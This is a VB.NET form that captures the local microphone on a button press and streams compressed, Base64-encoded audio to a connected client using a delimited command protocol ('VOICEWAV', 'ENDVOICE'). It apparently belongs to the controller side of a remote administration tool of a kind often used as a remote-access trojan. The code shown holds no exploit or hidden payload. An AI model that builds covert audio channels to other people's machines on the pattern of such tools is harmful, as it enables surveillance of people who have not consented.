Imports System.Threading
Public Class VoiceChat

    Public C As Client
    Public MICR As Boolean
    Public sourcestream As NAudio.Wave.WaveInEvent = Nothing

    Public Function VoiceStop()
        Try
            MICR = False
            If sourcestream IsNot Nothing Then
                sourcestream.StopRecording()
                sourcestream.Dispose()
                sourcestream = Nothing
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Function
    Public Sub audioDataAvailable(ByVal sender As Object, ByVal e As NAudio.Wave.WaveInEventArgs)
        Try
            If MICR = True Then
                Dim B As Byte() = SB("VOICEWAV" & SettingsHelper.SPL & Convert.ToBase64String(Compress(e.Buffer)) & SettingsHelper.SPL & e.BytesRecorded & SettingsHelper.SPL)
                ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
                ToolStripStatusLabel1.Text = "Size : " & " [" & BytesToString(B.LongLength) & "]"
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Try
            If Not C.IsConnected Then
                Close()
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub VoiceChat_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        Dim B As Byte() = SB("ENDVOICE")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
        VoiceStop()
    End Sub

    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
        Try
            If Guna2GradientButton1.Text = "Start" Then

                sourcestream = New NAudio.Wave.WaveInEvent()
                sourcestream.DeviceNumber = Convert.ToInt32(Guna2ComboBox1.SelectedIndex)
                sourcestream.NumberOfBuffers = 1
                sourcestream.BufferMilliseconds = 500
                sourcestream.NumberOfBuffers = 5
                sourcestream.WaveFormat = New NAudio.Wave.WaveFormat(8000, 16, 1)
                AddHandler sourcestream.DataAvailable, New EventHandler(Of NAudio.Wave.WaveInEventArgs)(AddressOf audioDataAvailable)
                sourcestream.StartRecording()
                MICR = True

                Guna2GradientButton1.Text = "Stop"
                Guna2GradientButton1.Image = My.Resources._Stop
                PictureBox1.Enabled = True

            Else

                VoiceStop()
                Guna2GradientButton1.Text = "Start"
                Guna2GradientButton1.Image = My.Resources.Play
                PictureBox1.Enabled = False
            End If
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

    Private Sub Guna2ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox1.SelectedIndexChanged
        VoiceStop()
        Guna2GradientButton1.Text = "Start"
        Guna2GradientButton1.Image = My.Resources.Play
        PictureBox1.Enabled = False
    End Sub
End Class